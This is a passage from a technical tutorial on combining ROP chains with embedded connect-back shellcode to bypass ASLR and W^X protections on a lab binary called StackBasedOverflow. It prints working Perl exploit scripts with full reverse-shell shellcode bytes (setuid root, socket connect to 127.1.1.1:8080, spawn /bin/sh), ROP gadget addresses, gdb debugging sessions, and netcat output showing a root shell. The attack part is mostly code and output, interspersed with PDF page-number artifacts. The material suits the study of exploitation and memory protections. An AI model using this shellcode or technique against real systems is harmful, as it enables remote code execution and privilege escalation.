# connect-back shellcode
# to 127.01.01.01 port 8080
my @shellcode = (
"\x31\xc0\xb0\xa4", "\x31\xdb\x31\xc9", "\x31\xd2\xcd\x80", "\x6a\x66\x58\x31",
"\xdb\x43\x99\x52", "\x6a\x01\x6a\x02", "\x89\xe1\xcd\x80", "\x96\x6a\x66\x58",
"\x43\x68\x7f\x01", "\x01\x01\x66\x68", "\x1f\x90\x66\x53", "\x89\xe1\x6a\x10",
"\x51\x56\x89\xe1", "\x43\xcd\x80\x87", "\xf3\x6a\x02\x59", "\xb0\x3f\xcd\x80",
"\x49\x79\xf9\xb0", "\x0b\x52\x68\x2f", "\x2f\x73\x68\x68", "\x2f\x62\x69\x6e",
"\x89\xe3\x52\x89", "\xe2\x53\x89\xe1", "\xcd\x80\x90\x90");
# gadgets
my $pop_ebx = "\xa9\x81\x04\x08"; # 0x080481a9 : pop ebx ; ret
my $pop_ecx = "\xdf\xb9\x0d\x08"; # 0x080db9df : pop ecx ; ret
my $pop_edx = "\x4a\xed\x06\x08"; # 0x0806ed4a : pop edx ; ret
my $pop_edi = "\x80\x84\x04\x08"; # 0x08048480 : pop edi ; ret
my $pop_ebp = "\xe6\x83\x04\x08"; # 0x080483e6 : pop ebp ; ret
my $pop_eax = "\x26\x95\x0b\x08"; # 0x080b9526 : pop eax ; ret
my $inc_ebx = "\x3d\x8b\x0d\x08"; # 0x080d8b3d : inc ebx ; ret
my $inc_edx = "\xf7\xc9\x05\x08"; # 0x0805c9f7 : inc edx ; ret
my $inc_ebp = "\x9c\xc0\x06\x08"; # 0x0806c09c : inc ebp ; ret
my $inc_ecx = "\xad\x88\x0d\x08"; # 0x080d88ad : inc ecx ; ret
my $dec_eax = "\x93\x37\x06\x08"; # 0x08063793 : dec eax ; ret
my $mov_esi_edx = "\x5f\xc0\x05\x08"; # 0x0805c05f : mov esi, edx ; ret
my $sub_eax_edx = "\x9c\x42\x05\x08"; # 0x0805429c : sub eax, edx ; ret
my $add_eax_ecx = "\xf0\x81\x06\x08"; # 0x080681f0 : add eax, ecx ; ret
my $int_80 = "\x90\xf4\x06\x08"; # 0x0806f490 : int 0x80 ; ret
my $mov_aedx_eax = "\x6b\x42\x05\x08"; # 0x0805426b : mov dword ptr [edx], eax ; r
my $mov_aeax4_edx = "\x42\x31\x05\x08"; # 0x08053142 : mov dword ptr [eax + 4], edx
my $sub_ecx_edx__not_eax__and_eax_ecx = "\xa2\xc5\x09\x08"; # 0x0809c5a2 : sub ecx, ed
my $sub_edx_eax__mov_eax_edx__sar_eax_0x10 = "\xe3\xc5\x09\x08"; # 0x0809c5e3 : sub edx, ea
#********************
25 / 33
# memory allocator
#********************
# mmap(0,sizeof(shellcode),prot_exec|prot_write,map_anonymous|map_private,-1,0);
#********************
# shellcode loader
#********************
26 / 33
$buffer .= $ffffffff;
$buffer .= $inc_ecx x 5; # ecx = 0x00000004
# debug point
$buffer .= $nop;
print $buffer;
Below, the inspection with gdb of the payload injected in the target program. Breakpoints are set before
and after the stack corruption and the stack is next dumped.
$ gdb -q StackBasedOverflow
Reading symbols from StackBasedOverflow...done.
(gdb) b *0x80488dc
Breakpoint 1 at 0x80488dc: file StackBasedOverflow.c, line 19.
(gdb) b *0x80488e1
Breakpoint 2 at 0x80488e1: file StackBasedOverflow.c, line 19.
(gdb) r "$(./rop_chain_2.pl)"
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/snake/StackBasedOverflow "$(./rop_chain_2.pl)"
[buffer:0xffffd3f0]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����J������AAAA&�AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����=�
���J����� _����������&�
����J1��BJ1�1�BJ1��BJjfX1BJ�C�RBJjjBJ���BJ�jfXBJChBJfhBJ�fSBJ��jBJQV��BJC̀�BJ�jYBJ
�?̀BJIy�BJ�
Rh/BJ/shhBJ/binBJ��R�BJ�S��BJ��B�@CFr
Below, the dump of the corrupted stack with the payload. On the following dump, ROP CHAIN 1 is
27 / 33
colored in green, ROP CHAIN 2 in blue and the embedded shellcode is colored in red. An extra gadget in
yellow, is added at the end of the ROP chain. This last gadget pointe to a nop instruction to facilitate the
debugging task.
(gdb) c
Continuing.
Then, a breakpoint is set at 0x08052f0f which correspond to the following gadget nop; ret. This
gadget is used here only to debug the payload. Next, the address of the new memory area is obtained by
analysing the first four byte of the .data section at 0x080ec540. And a dump of the memory is
28 / 33
performed, where the shellcode is loaded by ROP CHAIN 2.
(gdb) b *0x08052f0f
Breakpoint 3 at 0x08052f0f
(gdb) c
Continuing.
Breakpoint 3, 0x08052f0f in ?? ()
(gdb) x/xw 0x080ec540
0x80ec540: 0xf7ff8000
(gdb) x/32xw 0xf7ff8000
0xf7ff8000: 0xa4b0c031 0xc931db31 0x80cdd231 0x3158666a
0xf7ff8010: 0x529943db 0x026a016a 0x80cde189 0x58666a96
0xf7ff8020: 0x017f6843 0x68660101 0x5366901f 0x106ae189
0xf7ff8030: 0xe1895651 0x8780cd43 0x59026af3 0x80cd3fb0
0xf7ff8040: 0xb0f97949 0x2f68520b 0x6868732f 0x6e69622f
0xf7ff8050: 0x8952e389 0xe18953e2 0x909080cd 0x00000000
0xf7ff8060: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7ff8070: 0x00000000 0x00000000 0x00000000 0x00000000
The above dump shows that the new memory area is correctly filled with the embedded shellcode and
that the the base memory address of the new memory area is corectly saved in the .data section.
The third part of the payload is responsible to redirect the process execution flow to the shellcode loaded
b y ROP CHAIN 2. It retrieves the start address of the new memory mapping saved previously in the
.data section and jump to this address. Then, more complex operations are performed by the shellcode.
It sets the root UID to 0, opens a socket, starts a connection to 127.1.1.1 on the port 8080, duplicates
STDERR, STDIN and STDOUT on the socket descriptor and starts a shell.
Below, the selected gadgets obtained with ROPgadget are added to the first script, used to build ROP
CHAIN 3.
The following code is added at the end of the previous script and replace the debug line $buffer .=
$nop;.
rop_chain_3.pl
# gadgets section
my $xor_eax_eax = "\x43\x8f\x04\x08"; # 0x08048f43 : xor eax, eax ; ret
my $add_eax_aedi_call_eax = "\x46\x72\x09\x08"; # 0x08097246 : add eax, dword ptr [edi] ; c
#********************
# shellcode caller
#********************
$buffer .= $pop_edi; # edi = @data
$buffer .= $data_section_addr;
$buffer .= $xor_eax_eax; # eax = 0x00000000
$buffer .= $add_eax_aedi_call_eax; # eax = @new_executable_memory
29 / 33
Then, a hardware breakpoint is set at 0x08097246 which correspond to the following gadget add eax,
dword ptr [edi] ; call eax used in ROP CHAIN 3. This gadget redirect the execution path of the
running process to the memory area where the embedded shellcode has been loaded by ROP CHAIN 2.
$ gdb -q StackBasedOverflow
Reading symbols from StackBasedOverflow...done.
(gdb) b *main
Breakpoint 1 at 0x80488eb: file StackBasedOverflow.c, line 24.
(gdb) r "$(./rop_chain_3.pl)"
Starting program: /home/snake/StackBasedOverflow "$(./rop_chain_3.pl)"
Rh//shhBJ/binBJ??R?BJ?S??BJ??B?@CFr
From an other shell, the netcat command is started in listened mode to 127.1.1.1 on the port 80 and waits
for connection.
(gdb) nexti
0xf7709000 in ?? ()
30 / 33
(gdb) c
Continuing.
process 12666 is executing new program: /usr/bin/bash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
===================================================================
===================================================================
$ nc -v -l -p 8080 -s 127.1.1.1
Connection from 127.0.0.1:35160
whoami
snake
The exploit works and a shell pop in netcat. Trying again out of gdb shows we are root.
$ ./StackBasedOverflow "$(./rop_chain_3.pl)"
[buffer:0xff8bb2f0]
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����J������AAAA&�AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����=�
���J����� _����������&�
����J1��BJ1�1�BJ1��BJjfX1BJ�C�RBJjjBJ���BJ�jfXBJChBJfhBJ�fSBJ��jBJQV��BJC̀�BJ�jYBJ
�?̀BJIy�BJ�
Rh/BJ/shhBJ/binBJ��R�BJ�S��BJ��B�@CFr
===================================================================
===================================================================
$ nc -v -l -p 8080 -s 127.1.1.1
Connection from 127.0.0.1:35160
whoami
root
31 / 33
8 - Conclusion
As show here, ROP with shellcode can be used in some conditions to bypass the ASLR and the W^X
protections and to lead to an abitrary code execution. This technique is interesting because implement an
exploit in full ROP is heavy and time consumming. Write the three steps (memory mapping - copy code -
execute code) in ROP are easier than implement a complexe payload. Then, the injected shellcode can
performs the complexe operations and it can be not dependent of the exploited binary instead of the part
in ROP.
The exploit code presented here need the precense of two key conditons very dependent of the security
set up in the system.
The first condition is fullfilled in the major part of operating systems due to the principal need of the JIT
(just in time compilation) for the interpreted languages. On Linux if PaX is installed and the
PAX_MPROTECT flag [4] activated, this is not possible to map memory as writeable and executable.
The second condition is more difficult to fullfill but it's possible when the memory address spaces of the
target process can be disclosed. Sometimes it can be done with an another dedicated exploit (ex:
Meltdown and Spectre), by an other vulnerability in the process which leak its memory map (ex:
Heartbleed bug), by a bad integration of the application with the ASLR (ex: not use of -fpic, -fPIC, -fpie, -
fPIE gcc options) or by a low entropy of the ASLR.
32 / 33
9 - Links
[1] rop-with-shellcode Github repository:
https://github.com/VincentDary/rop-with-shellcode
33 / 33